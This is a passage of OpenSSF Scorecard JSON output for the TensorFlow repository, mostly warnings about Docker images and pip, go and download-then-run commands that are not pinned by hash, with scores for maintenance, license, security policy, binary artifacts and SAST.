tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: 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tensorflow/tools/ci_build/install/install_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:38","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:42","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:48","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:54","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:63","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:65","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security 